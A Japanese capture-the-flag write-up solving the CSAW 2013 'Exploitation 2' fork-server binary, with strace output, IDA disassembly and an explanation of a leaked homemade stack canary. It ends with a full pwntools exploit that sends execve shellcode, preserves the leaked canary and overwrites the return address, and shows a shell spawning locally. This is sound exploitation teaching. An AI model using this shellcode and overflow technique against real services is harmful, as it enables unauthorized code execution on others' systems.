問題バイナリ shell-storm.org
まずバイナリを実行してみると、何も表示されず動作が全くわからなかった。 いわゆるfork-server型の問題、初めてだったので他の方のサイトを参考にして進めた。
$ strace ./exploit2
を実行してシステムコールを追うことができる。
starce結果
(中略) socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 bind(3, {sa_family=AF_INET, sin_port=htons(31338), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 100) = 0 rt_sigaction(SIGCHLD, {sa_handler=0x80487e4, sa_mask=[], sa_flags=SA_RESTART}, NULL, 8) = 0 accept(3,
bind,listen,acceptしている。
バイナリはacceptで外部クライアントからの接続待ちをし、接続されるとfork()を呼び出すことでクライアントの処理を別プロセスに渡す。
こうすることで親プロセスとあるクライアントが接続している間に別のクライアントが接続できない事態を避けている。(多分)
ちなみにsin_port=htons(31338)からポート番号が31338だとわかる。
次にexploit2を実行した状態で別のターミナルから接続を行う。
pc@surface-pro-3:~$ nc localhost 31338 �:��D��Welcome to CSAW CTF. Exploitation 2 will be a little harder this year. Insert your exploit here:
よくわからない文字列が表示された後、入力を受け付ける。
ちなみにこの文字列はhexdumpで確認すると8byteある。
続いてこのバイト列の正体を知りたいので、IDAを使って見ていく。
IDAでhandleという関数に以下のアセンブリを発見できる。
.text:0804880D ; Attributes: bp-based frame .text:0804880D .text:0804880D ; void __cdecl handle(int newsock) .text:0804880D public handle .text:0804880D handle proc near ; CODE XREF: main+2A9↓p .text:0804880D .text:0804880D buffer = byte ptr -80Ch .text:0804880D cookie = dword ptr -0Ch .text:0804880D newsock = dword ptr 8 .text:0804880D .text:0804880D push ebp .text:0804880E mov ebp, esp .text:08048810 push edi .text:08048811 push ebx .text:08048812 sub esp, 820h .text:08048818 mov [ebp+cookie], 0 .text:0804881F lea eax, [ebp+buffer] .text:08048825 mov ebx, eax .text:08048827 mov eax, 0 .text:0804882C mov edx, 200h .text:08048831 mov edi, ebx .text:08048833 mov ecx, edx .text:08048835 rep stosd .text:08048837 mov dword ptr [esp], 0 .text:0804883E call _time .text:08048843 mov [esp], eax .text:08048846 call _srand .text:0804884B call _rand .text:08048850 mov ds:secret, eax .text:08048855 mov eax, ds:secret .text:0804885A mov [ebp+cookie], eax .text:0804885D lea eax, [ebp+buffer] .text:08048863 lea edx, [ebp+buffer] .text:08048869 mov [eax], edx .text:0804886B mov dword ptr [esp+0Ch], 0 .text:08048873 mov dword ptr [esp+8], 4 .text:0804887B lea eax, [ebp+buffer] .text:08048881 mov [esp+4], eax .text:08048885 mov eax, [ebp+newsock] .text:08048888 mov [esp], eax .text:0804888B call _send .text:08048890 mov dword ptr [esp+0Ch], 0 .text:08048898 mov dword ptr [esp+8], 4 .text:080488A0 lea eax, [ebp+cookie] .text:080488A3 mov [esp+4], eax .text:080488A7 mov eax, [ebp+newsock] .text:080488AA mov [esp], eax .text:080488AD call _send .text:080488B2 mov dword ptr [esp+0Ch], 0 .text:080488BA mov dword ptr [esp+8], 63h .text:080488C2 mov dword ptr [esp+4], offset aWelcomeToCsawC ; "Welcome to CSAW CTF. Exploitation 2 wi"... .text:080488CA mov eax, [ebp+newsock] .text:080488CD mov [esp], eax .text:080488D0 call _send .text:080488D5 mov dword ptr [esp+0Ch], 0 .text:080488DD mov dword ptr [esp+8], 1000h .text:080488E5 lea eax, [ebp+buffer] .text:080488EB mov [esp+4], eax .text:080488EF mov eax, [ebp+newsock] .text:080488F2 mov [esp], eax .text:080488F5 call _recv .text:080488FA mov [ebp+buffer+7FFh], 0 .text:080488FE mov edx, [ebp+cookie] .text:08048901 mov eax, ds:secret .text:08048906 cmp edx, eax .text:08048908 jz short loc_8048921
これがおそらく子プロセスの処理だろう。
"Welcome to CSAW CTF. Exploitation 2 wi".の部分から察するに、call sendによって[esp+4]をクライアントに送信している。
全体でsendが3つあるので、最初の二つ(bufferの先頭アドレスとsecretの値)が「よくわからんバイト列」に当たる。
頑張って読んでみると、cookieにsecret(rand)の値が入り、(recvで受け取った)入力値はbufferに入ることがわかる。
最後のcmpでsecretとcookieの値を照合している。
つまり、自前でstack canaryを実装していることになる。
以上を踏まえると、canaryの値を変更しないようにリターンアドレスをシェルコードに向けて書き換えればよい。
エクスプロイトコード
from pwn import * context(os='linux', arch='i386') p = remote('localhost',31338) shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" buf_addr=(p.recv(4)) secret=(p.recv(4)) payload='' payload+=shellcode payload+='A'*(0x800-len(shellcode)) payload+=secret payload+='A'*12 payload+=buf_addr p.sendline(payload) p.interactive()
実行結果
exploit2を実行しているターミナルでbashが起動する。
pc@surface-pro-3:~/pwn/csaw2013$ ./exploit2 Got a connection from 127.0.0.1 on port 33280 $ ls e2.py exploit2.id0 exploit2.id2 exploit2.til miteegashun exploit2 exploit2.id1 exploit2.nam fil_chal $